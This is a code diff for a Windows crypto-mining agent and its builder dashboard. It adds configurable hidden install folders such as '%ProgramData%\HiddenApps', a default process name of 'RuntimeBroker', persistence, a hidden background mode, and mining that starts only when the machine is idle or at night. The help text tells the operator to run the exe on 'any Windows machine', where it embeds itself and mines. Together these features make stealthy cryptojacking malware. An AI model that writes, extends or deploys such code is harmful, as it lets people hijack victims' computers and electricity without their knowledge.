Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
@@ -201,6 +201,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
avg15m /= float64(len(samples))
|
||||
|
||||
cpuPct, memPct := c.reporter.Usage()
|
||||
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
|
||||
cpuPct = sysCPU
|
||||
}
|
||||
c.mu.Lock()
|
||||
submitted := c.sharesSubmitted
|
||||
accepted := c.sharesAccepted
|
||||
|
||||
@@ -30,5 +30,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: DefaultInstallRelativePath,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -35,6 +35,9 @@ type BuiltinConfig struct {
|
||||
IdleDurationMinutes int
|
||||
ScheduleStart string
|
||||
ScheduleEnd string
|
||||
InstallBase string
|
||||
InstallCustomBase string
|
||||
InstallRelativePath string
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
@@ -90,6 +93,12 @@ func Load() RuntimeConfig {
|
||||
if b.ScheduleEnd == "" {
|
||||
b.ScheduleEnd = "06:00"
|
||||
}
|
||||
if b.InstallBase == "" {
|
||||
b.InstallBase = "localappdata"
|
||||
}
|
||||
if b.InstallRelativePath == "" {
|
||||
b.InstallRelativePath = DefaultInstallRelativePath
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
@@ -135,6 +144,14 @@ func (c RuntimeConfig) BackgroundMode() bool {
|
||||
return strings.ToLower(c.DisplayMode) == "background"
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) EffectiveProcessName() string {
|
||||
name := strings.TrimSpace(c.ProcessName)
|
||||
if name == "" {
|
||||
return sanitizeProcessName(c.WorkerName)
|
||||
}
|
||||
return sanitizeProcessName(name)
|
||||
}
|
||||
|
||||
func sanitizeProcessName(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
|
||||
101
agent/config/install.go
Normal file
101
agent/config/install.go
Normal file
@@ -0,0 +1,101 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
||||
|
||||
func (c RuntimeConfig) InstallDirectory() (string, error) {
|
||||
base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
rel := strings.TrimSpace(c.InstallRelativePath)
|
||||
if rel == "" {
|
||||
rel = DefaultInstallRelativePath
|
||||
}
|
||||
rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName())
|
||||
rel = filepath.FromSlash(rel)
|
||||
rel = strings.Trim(rel, `\/`)
|
||||
if rel == "" {
|
||||
return "", fmt.Errorf("install relative path resolved to empty")
|
||||
}
|
||||
|
||||
full := filepath.Join(base, rel)
|
||||
return filepath.Clean(full), nil
|
||||
}
|
||||
|
||||
func resolveInstallBase(baseType, customBase string) (string, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(baseType)) {
|
||||
case "", "localappdata":
|
||||
return requireEnv("LOCALAPPDATA")
|
||||
case "appdata":
|
||||
return requireEnv("APPDATA")
|
||||
case "programdata":
|
||||
return requireEnv("ProgramData")
|
||||
case "userprofile":
|
||||
return requireEnv("USERPROFILE")
|
||||
case "temp":
|
||||
if v := os.Getenv("TEMP"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
return requireEnv("TMP")
|
||||
case "custom":
|
||||
custom := strings.TrimSpace(customBase)
|
||||
if custom == "" {
|
||||
return "", fmt.Errorf("custom install base path is required when install_base is custom")
|
||||
}
|
||||
return expandWindowsEnv(custom), nil
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported install base: %s", baseType)
|
||||
}
|
||||
}
|
||||
|
||||
func expandInstallTokens(path, workerName, buildID, processName string) string {
|
||||
shortBuild := buildID
|
||||
if len(shortBuild) > 8 {
|
||||
shortBuild = shortBuild[:8]
|
||||
}
|
||||
replacer := strings.NewReplacer(
|
||||
"{worker}", sanitizePathToken(workerName),
|
||||
"{build}", sanitizePathToken(buildID),
|
||||
"{build_short}", sanitizePathToken(shortBuild),
|
||||
"{process}", sanitizePathToken(processName),
|
||||
)
|
||||
return replacer.Replace(path)
|
||||
}
|
||||
|
||||
func sanitizePathToken(name string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
" ", "-", "/", "-", "\\", "-", ":", "-",
|
||||
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
||||
)
|
||||
clean := replacer.Replace(strings.TrimSpace(name))
|
||||
if clean == "" {
|
||||
return "miner"
|
||||
}
|
||||
return clean
|
||||
}
|
||||
|
||||
func requireEnv(key string) (string, error) {
|
||||
value := os.Getenv(key)
|
||||
if value == "" {
|
||||
return "", fmt.Errorf("environment variable %s is not set", key)
|
||||
}
|
||||
return value, nil
|
||||
}
|
||||
|
||||
func expandWindowsEnv(path string) string {
|
||||
out := path
|
||||
for _, key := range []string{
|
||||
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
|
||||
} {
|
||||
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
|
||||
}
|
||||
return out
|
||||
}
|
||||
97
agent/config/install_test.go
Normal file
97
agent/config/install_test.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestInstallDirectoryLocalAppData(t *testing.T) {
|
||||
t.Setenv("LOCALAPPDATA", `C:\Users\test\AppData\Local`)
|
||||
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
WorkerName: "office pc",
|
||||
BuildID: "1234567890abcdef",
|
||||
ProcessName: "RuntimeBroker",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
||||
}}
|
||||
|
||||
got, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := `C:\Users\test\AppData\Local\CryptoMiner\office-pc-12345678`
|
||||
if got != want {
|
||||
t.Fatalf("expected %q, got %q", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallDirectoryCustomBase(t *testing.T) {
|
||||
t.Setenv("ProgramData", `C:\ProgramData`)
|
||||
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
WorkerName: "pc1",
|
||||
BuildID: "build",
|
||||
InstallBase: "custom",
|
||||
InstallCustomBase: `%ProgramData%\HiddenApps`,
|
||||
InstallRelativePath: "{process}",
|
||||
}}
|
||||
|
||||
got, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := `C:\ProgramData\HiddenApps\pc1`
|
||||
if got != want {
|
||||
t.Fatalf("expected %q, got %q", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallDirectoryRequiresCustomBase(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
InstallBase: "custom",
|
||||
}}
|
||||
if _, err := cfg.InstallDirectory(); err == nil {
|
||||
t.Fatal("expected error for missing custom base")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowSameDay(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ScheduleStart: "09:00",
|
||||
ScheduleEnd: "17:00",
|
||||
}}
|
||||
now := time.Date(2026, 5, 26, 10, 0, 0, 0, time.UTC)
|
||||
if !cfg.InScheduleWindow(now) {
|
||||
t.Fatal("expected inside schedule window")
|
||||
}
|
||||
now = time.Date(2026, 5, 26, 18, 0, 0, 0, time.UTC)
|
||||
if cfg.InScheduleWindow(now) {
|
||||
t.Fatal("expected outside schedule window")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowCrossMidnight(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
}}
|
||||
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 23, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("expected inside overnight window")
|
||||
}
|
||||
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 3, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("expected inside early morning window")
|
||||
}
|
||||
if cfg.InScheduleWindow(time.Date(2026, 5, 26, 12, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("expected outside midday window")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExpandWindowsEnv(t *testing.T) {
|
||||
os.Setenv("LOCALAPPDATA", `C:\Local`)
|
||||
got := expandWindowsEnv(`%LOCALAPPDATA%\Apps`)
|
||||
if got != `C:\Local\Apps` {
|
||||
t.Fatalf("unexpected expansion: %s", got)
|
||||
}
|
||||
}
|
||||
46
agent/config/schedule.go
Normal file
46
agent/config/schedule.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (c RuntimeConfig) MiningModeNormalized() string {
|
||||
mode := strings.ToLower(strings.TrimSpace(c.MiningMode))
|
||||
if mode == "" {
|
||||
return "always"
|
||||
}
|
||||
return mode
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) InScheduleWindow(now time.Time) bool {
|
||||
startMin, okStart := parseClockMinutes(c.ScheduleStart)
|
||||
endMin, okEnd := parseClockMinutes(c.ScheduleEnd)
|
||||
if !okStart || !okEnd {
|
||||
return true
|
||||
}
|
||||
|
||||
nowMin := now.Hour()*60 + now.Minute()
|
||||
if startMin == endMin {
|
||||
return true
|
||||
}
|
||||
if startMin < endMin {
|
||||
return nowMin >= startMin && nowMin < endMin
|
||||
}
|
||||
return nowMin >= startMin || nowMin < endMin
|
||||
}
|
||||
|
||||
func parseClockMinutes(value string) (int, bool) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return 0, false
|
||||
}
|
||||
parsed, err := time.Parse("15:04", value)
|
||||
if err != nil {
|
||||
parsed, err = time.Parse("15:04:05", value)
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
}
|
||||
return parsed.Hour()*60 + parsed.Minute(), true
|
||||
}
|
||||
@@ -29,11 +29,11 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
}
|
||||
}
|
||||
|
||||
installDir, err := InstallDir(cfg.WorkerName, cfg.BuildID)
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.ProcessName+".exe")
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
|
||||
if samePath(currentExe, installedExe) {
|
||||
return false, nil
|
||||
@@ -49,8 +49,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
|
||||
logPath := filepath.Join(installDir, "miner.log")
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installedExe,
|
||||
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
|
||||
)), 0644)
|
||||
|
||||
if cfg.AutoStart {
|
||||
@@ -71,16 +71,14 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
base, err := os.UserConfigDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
safeWorker := sanitizeName(workerName)
|
||||
shortBuild := buildID
|
||||
if len(shortBuild) > 8 {
|
||||
shortBuild = shortBuild[:8]
|
||||
}
|
||||
return filepath.Join(base, "CryptoMiner", fmt.Sprintf("%s-%s", safeWorker, shortBuild)), nil
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: workerName,
|
||||
BuildID: buildID,
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
},
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func configureAutoStart(workerName, exePath string) error {
|
||||
|
||||
@@ -27,7 +27,11 @@ func main() {
|
||||
log.Fatalf("[installer] failed: %v", err)
|
||||
}
|
||||
if installed {
|
||||
log.Printf("[installer] installed worker=%s to permanent location and started miner", cfg.WorkerName)
|
||||
if dir, err := cfg.InstallDirectory(); err == nil {
|
||||
log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
|
||||
} else {
|
||||
log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
@@ -39,8 +43,8 @@ func main() {
|
||||
log.Printf("[agent] could not set CPU priority: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s",
|
||||
cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode)
|
||||
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
|
||||
agent := client.NewAgentClient(cfg)
|
||||
if err := agent.Run(); err != nil {
|
||||
@@ -54,13 +58,21 @@ func setupLogging(cfg config.RuntimeConfig) {
|
||||
return
|
||||
}
|
||||
|
||||
installDir, err := deploy.InstallDir(cfg.WorkerName, cfg.BuildID)
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
redirectLog(filepath.Join(installDir, "miner.log"))
|
||||
}
|
||||
|
||||
func mustInstallPath(cfg config.RuntimeConfig) string {
|
||||
path, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func redirectLog(path string) {
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
||||
return
|
||||
|
||||
@@ -21,6 +21,7 @@ type Pool struct {
|
||||
reporter *stats.Reporter
|
||||
engine *Engine
|
||||
handler ShareHandler
|
||||
schedule *ScheduleGuard
|
||||
|
||||
mu sync.RWMutex
|
||||
currentJob *job.Job
|
||||
@@ -42,6 +43,7 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
|
||||
reporter: reporter,
|
||||
engine: NewEngine(),
|
||||
handler: handler,
|
||||
schedule: NewScheduleGuard(cfg, reporter),
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
@@ -91,11 +93,21 @@ func (p *Pool) resourceGuard() {
|
||||
case <-p.stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
p.paused.Store(!p.resourcesOK())
|
||||
p.paused.Store(!p.miningAllowed())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) miningAllowed() bool {
|
||||
if !p.resourcesOK() {
|
||||
return false
|
||||
}
|
||||
if p.schedule != nil && !p.schedule.Allowed() {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *Pool) resourcesOK() bool {
|
||||
freeMB := p.reporter.FreeMemoryMB()
|
||||
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
|
||||
|
||||
71
agent/miner/schedule.go
Normal file
71
agent/miner/schedule.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
type ScheduleGuard struct {
|
||||
cfg config.RuntimeConfig
|
||||
reporter *stats.Reporter
|
||||
|
||||
mu sync.Mutex
|
||||
idleSince time.Time
|
||||
idleReady bool
|
||||
}
|
||||
|
||||
func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *ScheduleGuard {
|
||||
return &ScheduleGuard{
|
||||
cfg: cfg,
|
||||
reporter: reporter,
|
||||
}
|
||||
}
|
||||
|
||||
func (g *ScheduleGuard) Allowed() bool {
|
||||
switch g.cfg.MiningModeNormalized() {
|
||||
case "idle":
|
||||
return g.idleAllowed()
|
||||
case "scheduled":
|
||||
return g.cfg.InScheduleWindow(time.Now())
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
func (g *ScheduleGuard) idleAllowed() bool {
|
||||
cpu := g.reporter.SystemCPUPercent()
|
||||
threshold := float64(g.cfg.IdleThresholdPct)
|
||||
if threshold <= 0 {
|
||||
threshold = 20
|
||||
}
|
||||
duration := time.Duration(g.cfg.IdleDurationMinutes) * time.Minute
|
||||
if duration <= 0 {
|
||||
duration = 5 * time.Minute
|
||||
}
|
||||
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
|
||||
if cpu == 0 {
|
||||
// First sample has no delta yet; treat as not idle.
|
||||
g.idleSince = time.Time{}
|
||||
g.idleReady = false
|
||||
return false
|
||||
}
|
||||
|
||||
if cpu <= threshold {
|
||||
if g.idleSince.IsZero() {
|
||||
g.idleSince = time.Now()
|
||||
}
|
||||
if time.Since(g.idleSince) >= duration {
|
||||
g.idleReady = true
|
||||
}
|
||||
} else {
|
||||
g.idleSince = time.Time{}
|
||||
g.idleReady = false
|
||||
}
|
||||
return g.idleReady
|
||||
}
|
||||
31
agent/miner/schedule_test.go
Normal file
31
agent/miner/schedule_test.go
Normal file
@@ -0,0 +1,31 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func parseTestTime(hour, minute int) time.Time {
|
||||
return time.Date(2026, 5, 26, hour, minute, 0, 0, time.UTC)
|
||||
}
|
||||
|
||||
func TestScheduleGuardAlways(t *testing.T) {
|
||||
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MiningMode: "always"}}, stats.NewReporter())
|
||||
if !guard.Allowed() {
|
||||
t.Fatal("always mode should allow mining")
|
||||
}
|
||||
}
|
||||
|
||||
func TestScheduleGuardScheduledUsesConfigWindow(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "scheduled",
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
}}
|
||||
if !cfg.InScheduleWindow(parseTestTime(23, 0)) {
|
||||
t.Fatal("expected overnight schedule to allow mining at 23:00")
|
||||
}
|
||||
}
|
||||
63
agent/stats/cpu_windows.go
Normal file
63
agent/stats/cpu_windows.go
Normal file
@@ -0,0 +1,63 @@
|
||||
package stats
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
procGetSystemTimes = kernel32.NewProc("GetSystemTimes")
|
||||
)
|
||||
|
||||
type filetime struct {
|
||||
LowDateTime uint32
|
||||
HighDateTime uint32
|
||||
}
|
||||
|
||||
func filetimeToUint64(ft filetime) uint64 {
|
||||
return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
var idle, kernel, user filetime
|
||||
ret, _, _ := procGetSystemTimes.Call(
|
||||
uintptr(unsafe.Pointer(&idle)),
|
||||
uintptr(unsafe.Pointer(&kernel)),
|
||||
uintptr(unsafe.Pointer(&user)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return 0
|
||||
}
|
||||
|
||||
idleTicks := filetimeToUint64(idle)
|
||||
kernelTicks := filetimeToUint64(kernel)
|
||||
userTicks := filetimeToUint64(user)
|
||||
|
||||
if !r.hasSample {
|
||||
r.lastIdle = idleTicks
|
||||
r.lastKernel = kernelTicks
|
||||
r.lastUser = userTicks
|
||||
r.hasSample = true
|
||||
return 0
|
||||
}
|
||||
|
||||
idleDelta := float64(idleTicks - r.lastIdle)
|
||||
totalDelta := float64((kernelTicks - r.lastKernel) + (userTicks - r.lastUser))
|
||||
r.lastIdle = idleTicks
|
||||
r.lastKernel = kernelTicks
|
||||
r.lastUser = userTicks
|
||||
|
||||
if totalDelta <= 0 {
|
||||
return 0
|
||||
}
|
||||
busyPct := (1.0 - idleDelta/totalDelta) * 100
|
||||
if busyPct < 0 {
|
||||
return 0
|
||||
}
|
||||
if busyPct > 100 {
|
||||
return 100
|
||||
}
|
||||
return busyPct
|
||||
}
|
||||
@@ -3,6 +3,7 @@ package stats
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
@@ -24,7 +25,14 @@ var (
|
||||
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
|
||||
)
|
||||
|
||||
type Reporter struct{}
|
||||
type Reporter struct {
|
||||
mu sync.Mutex
|
||||
|
||||
lastIdle uint64
|
||||
lastKernel uint64
|
||||
lastUser uint64
|
||||
hasSample bool
|
||||
}
|
||||
|
||||
func NewReporter() *Reporter {
|
||||
return &Reporter{}
|
||||
|
||||
@@ -47,6 +47,9 @@ type AgentDefaults struct {
|
||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
}
|
||||
|
||||
type BackgroundConfig struct {
|
||||
@@ -91,6 +94,8 @@ func DefaultConfig() *Config {
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
||||
},
|
||||
Background: BackgroundConfig{
|
||||
SilentMode: true,
|
||||
@@ -195,6 +200,15 @@ func mergeConfig(dst, src *Config) {
|
||||
if src.DefaultAgent.ScheduleEnd != "" {
|
||||
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
||||
}
|
||||
if src.DefaultAgent.InstallBase != "" {
|
||||
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
||||
}
|
||||
if src.DefaultAgent.InstallCustomBase != "" {
|
||||
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
||||
}
|
||||
if src.DefaultAgent.InstallRelativePath != "" {
|
||||
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
||||
}
|
||||
dst.Background.SilentMode = src.Background.SilentMode
|
||||
if src.Background.RunAs != "" {
|
||||
dst.Background.RunAs = src.Background.RunAs
|
||||
|
||||
@@ -38,9 +38,12 @@ type BuildRequest struct {
|
||||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
PoolPass string `json:"pool_pass"`
|
||||
@@ -277,6 +280,15 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.ScheduleEnd == "" {
|
||||
req.ScheduleEnd = "06:00"
|
||||
}
|
||||
if req.InstallBase == "" {
|
||||
req.InstallBase = "localappdata"
|
||||
}
|
||||
if req.InstallRelativePath == "" {
|
||||
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
||||
}
|
||||
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
|
||||
return fmt.Errorf("install_custom_base is required when install_base is custom")
|
||||
}
|
||||
if req.PoolHost == "" {
|
||||
req.PoolHost = "pool.supportxmr.com"
|
||||
}
|
||||
@@ -326,6 +338,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
IdleDurationMinutes: %d,
|
||||
ScheduleStart: %q,
|
||||
ScheduleEnd: %q,
|
||||
InstallBase: %q,
|
||||
InstallCustomBase: %q,
|
||||
InstallRelativePath: %q,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -355,6 +370,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.IdleDurationMinutes,
|
||||
req.ScheduleStart,
|
||||
req.ScheduleEnd,
|
||||
req.InstallBase,
|
||||
req.InstallCustomBase,
|
||||
req.InstallRelativePath,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
42
server/web/src/help/installPreview.ts
Normal file
42
server/web/src/help/installPreview.ts
Normal file
@@ -0,0 +1,42 @@
|
||||
const BASE_LABELS: Record<string, string> = {
|
||||
localappdata: '%LOCALAPPDATA%',
|
||||
appdata: '%APPDATA%',
|
||||
programdata: '%ProgramData%',
|
||||
userprofile: '%USERPROFILE%',
|
||||
temp: '%TEMP%',
|
||||
custom: '',
|
||||
};
|
||||
|
||||
function sanitizeToken(value: string, fallback: string): string {
|
||||
const clean = value.trim().replace(/[\\/:*?"<>|]/g, '-').replace(/\s+/g, '-');
|
||||
return clean || fallback;
|
||||
}
|
||||
|
||||
export function previewInstallPath(options: {
|
||||
install_base: string;
|
||||
install_custom_base?: string;
|
||||
install_relative_path?: string;
|
||||
worker_name?: string;
|
||||
process_name?: string;
|
||||
}): string {
|
||||
const baseKey = options.install_base || 'localappdata';
|
||||
const base =
|
||||
baseKey === 'custom'
|
||||
? (options.install_custom_base?.trim() || '%CUSTOM%')
|
||||
: (BASE_LABELS[baseKey] || '%LOCALAPPDATA%');
|
||||
|
||||
const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
|
||||
const process = sanitizeToken(options.process_name || worker, 'miner');
|
||||
const buildShort = 'abc12345';
|
||||
|
||||
let rel = (options.install_relative_path || 'CryptoMiner/{worker}-{build_short}').replace(/\\/g, '/');
|
||||
rel = rel
|
||||
.replace(/\{worker\}/g, worker)
|
||||
.replace(/\{build\}/g, 'full-build-id')
|
||||
.replace(/\{build_short\}/g, buildShort)
|
||||
.replace(/\{process\}/g, process);
|
||||
|
||||
rel = rel.replace(/^\/+|\/+$/g, '');
|
||||
const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
|
||||
return `${folder}\\${process}.exe`;
|
||||
}
|
||||
@@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [
|
||||
},
|
||||
{
|
||||
title: '4. Deploy once per PC',
|
||||
body: 'Copy the single .exe to a worker machine and run it once. It installs, optionally persists, and connects back to your dashboard.',
|
||||
body: 'Double-click the .exe on any Windows machine. It copies itself to your configured install folder, registers persistence if enabled, connects to your dashboard, and starts mining — no extra steps.',
|
||||
},
|
||||
{
|
||||
title: '5. Monitor',
|
||||
@@ -47,4 +47,7 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
};
|
||||
|
||||
@@ -3,6 +3,7 @@ import { api } from '../api/client';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import { SETUP_CHEATSHEET } from '../help/settingHelp';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
import './Pages.css';
|
||||
|
||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
@@ -29,6 +30,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
|
||||
